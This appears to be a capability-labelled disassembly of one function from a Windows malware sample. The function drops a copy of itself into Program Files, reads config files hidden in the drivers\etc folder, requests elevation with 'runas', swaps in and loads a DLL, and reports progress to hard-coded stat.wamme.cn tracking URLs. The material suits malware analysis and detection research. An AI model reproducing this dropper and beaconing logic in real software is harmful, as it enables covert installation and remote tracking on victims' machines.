Function at 0x401cb0
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425d4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12a0
call fcn.0040cea0
mov eax, dword [0x435ff0]
push ebx
mov dword [ebp - 0x14], eax
push esi
push edi
xor eax, eax
mov byte [ebp - 0x614], 0
mov ecx, 0x7f
lea edi, [ebp - 0x613]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4320bc]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x3a68
sub eax, ecx
mov dword [ebp - 0x10], esp
mov dword [str._r_____r____], eax
mov dword [ebp - 4], 0
mov edi, 0x190
call fcn.004232dd
mov eax, dword [eax + 4]
mov ecx, dword [eax + 0x44]
push ecx
lea ecx, [ebp - 0xdac]
call fcn.00401c00
mov ecx, dword [ebp - 0xdac]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x714]
nop
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x401d40
lea eax, [ebp - 0x714]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401d53
sub eax, edx
mov dword [ebp - 0xda8], eax
jne 0x401fcd
push 0
call fcn.0040ce5f
add esp, 4
push str.C:WINDOWS_system32driversetc_service3.ini
push pe_nt_image_headers32
lea edx, [ebp - 0x214]
push edx
push 0x427e09
push str.rand
push str.aaaaa
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x214]
push eax
call fcn.0040ce5a
add esp, 4
test eax, eax
jle 0x401dbe
lea ecx, [ebp - 0x214]
push ecx
call fcn.0040ce5a
add esp, 4
mov esi, eax
mov eax, esi
cdq
idiv edi
mov eax, edx
and eax, 0x80000001
jns 0x401dd1
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x401dde
lea eax, [edx - 1]
lea ecx, [edx + 1]
jmp 0x401de3
mov eax, edx
lea ecx, [edx + 2]
cmp ecx, edi
mov dword [ebp - 0xda8], ecx
jl 0x401df4
dec edx
mov dword [ebp - 0xda8], edx
imul eax, eax, 0x1e
lea ebx, [eax + 0x4320d0]
push ebx
lea edx, [ebp - 0x114]
push str.C:Program_Files_s
push edx
call fcn.0040cd7a
add esp, 0xc
push 0
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 0xda8]
imul ecx, ecx, 0x1e
add ecx, 0x4320d0
push ecx
push ebx
lea edx, [ebp - 0x114]
push str.C:Program_Files_s_s.exe
push edx
call fcn.0040cd7a
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.0040cd34
add esp, 0x18
cmp eax, 0xffffffff
jne 0x401edd
push pe_nt_image_headers32
lea ecx, [ebp - 0x214]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea edx, [ebp - 0x114]
push edx
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x180
lea ecx, [ebp - 0x114]
push 0x800a
push ecx
call fcn.004185e5
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x401edd
push 2
push 0
push esi
call fcn.00414d6b
mov edx, dword [ebp - 0xda8]
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xc14]
rep stosd dword es:[edi], eax
push edx
lea eax, [ebp - 0xc14]
push eax
push esi
call fcn.00414fe4
push esi
call fcn.00417e78
add esp, 0x1c
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x214]
push str._s__33201_
push edx
call fcn.0040cd7a
add esp, 0xc
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xdf0]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xe00]
push eax
lea ecx, [ebp - 0xdf0]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea edx, [ebp - 0x214]
push edx
push 0
mov dword [ebp - 0xdf0], 0x44
mov dword [ebp - 0xdc4], 1
mov word [ebp - 0xdc0], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401f58
push 0
call fcn.0040ccf4
push ebx
lea eax, [ebp - 0x114]
push str.C:Program_Files_s
push eax
call fcn.0040cd7a
add esp, 0xc
push 1
lea ecx, [ebp - 0x114]
push ecx
push 0
lea edx, [ebp - 0x214]
push edx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x402419
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
push 0x434fb0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0041ddcf
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call ebx
jmp 0x401fd3
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4320b4]
mov edi, dword [0x4320b8]
mov ecx, dword [str._r_____r____]
sub eax, edi
lea edx, [eax + ecx - 0x96a]
lea eax, [ebp - 0xda4]
push eax
push 0x101
mov dword [0x4320ac], edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
push 0
je 0x402010
call fcn.0040ccf4
mov ecx, dword [0x4320b8]
mov esi, dword [0x4320c0]
mov edx, dword [0x4320c8]
sub ecx, esi
sub ecx, edx
sub ecx, 0x2615
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x4320b0], ecx
call fcn.0040cd34
add esp, 8
cmp eax, 0xffffffff
jne 0x40205f
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0040cd34
add esp, 8
cmp eax, 0xffffffff
je 0x40205f
push 0xea60
call ebx
mov edx, dword [0x4320b0]
mov esi, dword [0x4320c4]
mov ecx, dword [str._r_____r____]
sub edx, esi
sub edx, ecx
sub edx, 0x630
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x4320b4], edx
call fcn.0040cd34
add esp, 8
cmp eax, 0xffffffff
je 0x4023f0
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0040cd34
add esp, 8
cmp eax, 0xffffffff
je 0x4023f0
mov ecx, dword [str._r_____r____]
mov eax, dword [0x4320b0]
mov edx, dword [0x4320bc]
push str.C:WINDOWS_system32driversetc_service5.ini
push 0x200
add eax, ecx
lea ecx, [ebp - 0xa14]
push ecx
push 0x427e09
push str.ConfigL0
lea eax, [edx + eax + 0x4328]
push str.GameType1
mov dword [0x4320bc], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x427e09
lea esi, [ebp - 0xa14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40220e
lea eax, [ebp - 0xa14]
push eax
lea ecx, [ebp - 0x12b0]
push 0x12c
push ecx
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x40220e
mov edx, dword [ebp - 0x12b0]
mov eax, edx
lea esi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402140
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x12a4]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x414]
jne 0x402167
push str._s_s
jmp 0x40216c
push 0x427cac
push ecx
call fcn.0040cd7a
add esp, 0x10
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x814]
push str._s.bak
push eax
call fcn.0040cd7a
add esp, 0xc
push 0
lea ecx, [ebp - 0x814]
push ecx
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x414]
push eax
call esi
lea ecx, [ebp - 0x414]
push 0
push ecx
call fcn.0040cd34
add esp, 8
cmp eax, 0xffffffff
je 0x4021db
lea edx, [ebp - 0x814]
push edx
call esi
push 0
call fcn.0040ccf4
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x814]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [ebp - 0x414]
lea edx, [ebp - 0x614]
jmp 0x402200
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402200
push 0x64
call ebx
lea eax, [ebp - 0x614]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402217
sub eax, edx
mov dword [ebp - 0xda8], eax
push 0
jne 0x40222f
call fcn.0040ccf4
mov edx, dword [0x4320b0]
mov esi, dword [0x4320c4]
mov ecx, dword [0x4320ac]
sub edx, esi
sub edx, ecx
lea eax, [ebp - 0x614]
add edx, 0x1c33
push eax
mov dword [0x4320c8], edx
call fcn.0040cd34
add esp, 8
cmp eax, 0xffffffff
jne 0x40229c
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_NoDll
push 0x434fb0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0041ddcf
add esp, 0x2c
push 0x2710
call ebx
push 0
call fcn.0040ccf4
mov ecx, dword [0x4320ac]
mov esi, dword [0x4320b4]
mov edx, dword [0x4320c0]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub ecx, esi
lea eax, [edx + ecx + 0x3c2d]
lea ecx, [ebp - 0x614]
push ecx
mov dword [0x4320c0], eax
call edi
test eax, eax
jne 0x40235d
push eax
push eax
push eax
push eax
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_LoadFailx
push 0x434fb0
push eax
push eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0041ddcf
add esp, 0x2c
push 0x2710
call ebx
lea edx, [ebp - 0x414]
push 0x5c
push edx
call fcn.0040cb40
push 0
mov esi, eax
call fcn.0040ce5f
push eax
push str._d.dll
inc esi
push esi
call fcn.0040cd7a
add esp, 0x18
push 0
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x414]
lea edx, [ebp - 0x614]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402346
lea edx, [ebp - 0x614]
push edx
call edi
test eax, eax
je 0x40239a
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_run
push 0x434fb0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0041ddcf
add esp, 0x2c
push 0x2710
call ebx
xor esi, esi
nop
push 0x3e8
call ebx
inc esi
jmp 0x402390
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_LoadFaily
push 0x434fb0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0041ddcf
add esp, 0x2c
push 0x2710
call ebx
mov eax, dword [ebp - 0xdac]
add eax, 0xfffffff0
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402417
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x402417
mov edx, dword [0x4320b0]
mov eax, dword [0x4320cc]
mov ecx, dword [0x4320b4]
sub eax, edx
lea edx, [eax + ecx + 0x478e]
push 0x493e0
mov dword [0x4320b8], edx
call ebx
push 0
call fcn.0040ccf4
mov eax, 0x402417
ret